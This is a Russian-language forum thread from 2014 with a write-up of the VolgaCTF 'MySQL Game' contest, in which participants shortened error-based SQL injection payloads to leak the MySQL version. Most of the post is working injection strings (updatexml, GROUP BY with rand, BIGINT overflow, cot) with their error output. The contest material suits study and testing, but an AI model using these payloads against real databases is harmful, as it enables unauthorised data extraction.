Старый 15.09.2014, 16:38   #1
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию VolgaCTF 2014 MySQL Game

MySQL Game

Для того, чтобы немного разнообразить жизнь участников VolgaCTF было подготовлено несколько конкурсов, один из которых был MySQL Game.
Участникам давалась MySQL инъекция вида:
Код:
SELECT id FROM test.news WHERE id = '[inj]'
Необходимо было проэксплуатировать Error-Based инъекцию и вывести версию MySQL максимальным количеством векторов (различный ErrNo) используя минимальное количество символов.

Количество очков подсчитывается следующим образом:
Код:
Score = SUM(129 - StrLen(Xn))
В качестве примера был дан следующий вектор
Код:
' UnIoN AlL SeLeCt CoUnT(`TeXt`) FrOm `test`.`news` WhErE `Id` = 1 Or 1 = 1 GrOuP By CoNcAt(VeRsIoN(), FlOoR(RaNd(1337) * 2)), '
Система проверяла, что выполнение запроса вызвало ошибку и в тексте ошибки присутствуют первые 10 символов MySQL версии. Также проверялось, что в самом векторе версия в виде строки не использовалась, чтобы избежать читерства вида
Код:
'=`version5.5.25`='
ERROR 1054 (42S22): Unknown column 'version5.5.25' in 'where clause'
(Обмануть эту проверку все же удалось одному из участников)

В рамках VolgaCTF победителем стал @tomvangoethem

================================================== ==



Если вы заинтересовались данным конкурсом, то вы можете не читать дальнейшее прохождение, а попробовать сами улучшить результаты!
http://blackfan.ru/mysql_game/
(уже выключен, на странице результаты)



================================================== ==

Погуглив по теме MySQL Error-Based участники могли найти следующие вектора, которые им и пришлось минимизировать:
Код:
'|(select!x-~0.FROM(select+version()x)f)#
'|ExtractValue(1,concat(0x5c,version()))#
'|(select*from(select name_const(version(),1),name_const(version(),1))a)#
'||1 group by concat(version(),floor(rand(0)*2))having min(0)#
NAME_CONST

Ошибка вызывается в результате обработки подзапроса, у которого несколько полей имеют одинаковый алиас.

Код:
'|(select*from(select name_const(version(),1),name_const(version(),1))a)#
Максимальная длина полезных данных 192 символа.

Минусы:
  • Длина вектора
  • MySQL >= 5.0
  • Подзапросы можно использовать как аргумент name_const лишь на некоторых версиях MySQL, на остальных аргументы должны быть константами (что полностью убивает вектор)

Плюсы:
  • Максимальная длина полезных данных

Уменьшить вектор никому не удалось

EXTRACTVALUE

Ошибка вызывается в результате нарушения синтаксиса XPath запроса.

Код:
'|ExtractValue(1,concat(0x5c,version()))#
Максимальная длина полезных данных 31 символ.

Минусы:
  • MySQL >= 5.1
  • Максимальная длина полезных данных

Плюсы:
  • Длина вектора

Минимизация:
Замена функции на updatexml
Код:
'|ExtractValue(1,concat(0x5c,version()))#
'|updatexml(1,concat(0x5c,version()),1)#
Для нарушения синтаксиса XPath можно использовать любые другие управляющие символы
Код:
'|updatexml(1,concat(0x5c,version()),1)#
'|updatexml(1,concat(0xa,version()),1)#
Так как без использования concat версия выводит ошибку, то можно просто повторить ее 2 раза
Код:
'|updatexml(1,concat(0xa,version()),1)#
'|updatexml(1,repeat(version(),2),1)#
ERROR 1105 (HY000): XPATH syntax error: '.255.5.25'
GROUP BY

Подробнее про вектор можно прочитать тут и тут.
Код:
'||1 group by concat(version(),floor(rand(0)*2))having min(0)#
Максимальная длина полезных данных 64 символа.

До недавних пор наиболее популярный error-based вектор, однако вот эта тема может с этим поспорить.

Минусы:
  • Максимальная длина полезных данных

Плюсы:
  • Можно вызвать ошибку на любой версии MySQL (но это не отменяет ограничение самих версий на подзапросы и т.п.)

Минимизация:
Замена длинной конструкции floor(rand(0)*2) на пользовательские переменные
Код:
'||1 group by concat(version(),floor(rand(0)*2))having min(0)#
'||(@:=1) group by concat(version(),@:=!@)having min(0)#
Необязательность скобок при объявлении переменных
Код:
'||(@:=1) group by concat(version(),@:=!@)having min(0)#
'||@:=1 group by concat(version(),@:=!@)having min(0)#
Использование конструкции 'a'='b'=0 вместо or 1 для получения true в where
Код:
'||@:=1 group by concat(version(),@:=!@)having min(0)#
'=@:=0 group by concat(version(),@:=!@)having min(0)#
Замена concat на что-либо другое более короткое
Код:
'=@:=0 group by concat(version(),@:=!@)having min(0)#
'!=@:=1 group by elt(@:=!@,version())having min(0)#
или
'!=@:=1 group by mid(version(),@:=!@)having min(0)#
И тут внезапный поворот - возвращение к rand().
Так как при передаче его в аргумент функции приведение к целочисленному числу будет сделано за нас.
Код:
'!=@:=1 group by elt(@:=!@,version())having min(0)#
'=0 group by elt(rand(0),version())having min(0)#
Жертвуем стабильностью вызова ошибки и убираем seed у rand
Код:
'=0 group by elt(rand(0),version())having min(0)#
'=0 group by elt(rand(),version())having min(0)#

OUT OF RANGE


Подробнее про него можно прочитать тут.

Код:
'|(select!x-~0.FROM(select+version()x)f)#
Максимальная длина полезных данных 475 символов.

Минусы:
  • MySQL >= 5.? (не уверен с какой версии можно эксплуатировать)

Плюсы:
  • Максимальная длина полезных данных
  • Длина вектора
  • Выводится частично выполненный запрос, что увеличивает варианты использования

Минимизация:
В теме о данном векторе уже заходил разговор о короткой версии, что несколько облегчило задачу участников.

Отказываемся от передачи значения через алиасы, используем гибкий синтаксис MySQL, играемся с вызовом ошибки.
(В этих векторах мы теряем максимальную длину полезных данных, но это не было нашей целью)
Код:
'|(select!x-~0.FROM(select+version()x)f)#
'|!(select*from(select@@version)x)-~0#
'+2*~(select*from(select@@version)x)#
Тут так и напрашивается следующее уменьшение количество символов
Код:
2'*~(select*from(select@@version)x)#
Но это не сработает, так как
Код:
select '2'*~0;
3.6893488147419103e19

select 2*~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * ~(0))'
В первом случае результат DOUBLE, а во втором BIGINT UNSIGNED.

Самый короткий вектор, отправленный в процессе конкурса:
Код:
'--~(select*from(select@@version)f)#
И еще несколько не самых коротких векторов, но заслуживающих внимания:

При парсинге строки как числа MySQL поддерживает экспоненциальную запись
Код:
1e308'*(select*from(select@@version)x)#
Вызов функции cot(0) возвращает ошибку "DOUBLE value is out of range"
Для вывода строки начинающейся с числа
Код:
'|cot(!(select*from(select@@version)x))#
Для вывода строки начинающейся с буквы
Код:
'|cot((select*from(select+user())x))#

Последний раз редактировалось BlackFan; 23.09.2014 в 11:50..
BlackFan вне форума   Ответить с цитированием
Старый 15.09.2014, 16:47   #2
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Будет клево, если кто-нибудь дополнит или поправит меня относительно плюсов/минусов.
BlackFan вне форума   Ответить с цитированием
Старый 02.10.2014, 09:59   #3
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Запустил http://blackfan.ru/mysql_game_v2/
Теперь помимо кода еще разделяется по началу строки ошибки (т.к. некоторые довольно разные ошибки идут под одним кодом).
И в тексте ошибки ищется не только первые 8 символов version(), но и hex(version()), hex(hex(version())). Да и вообще неплохой "справочник" по ошибкам получился. Еще бы проверку по разным версиям mysql прикрутить, вообще было бы клево)
BlackFan вне форума   Ответить с цитированием
Ответ

Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2017, Jelsoft Enterprises Ltd. Перевод: zCarot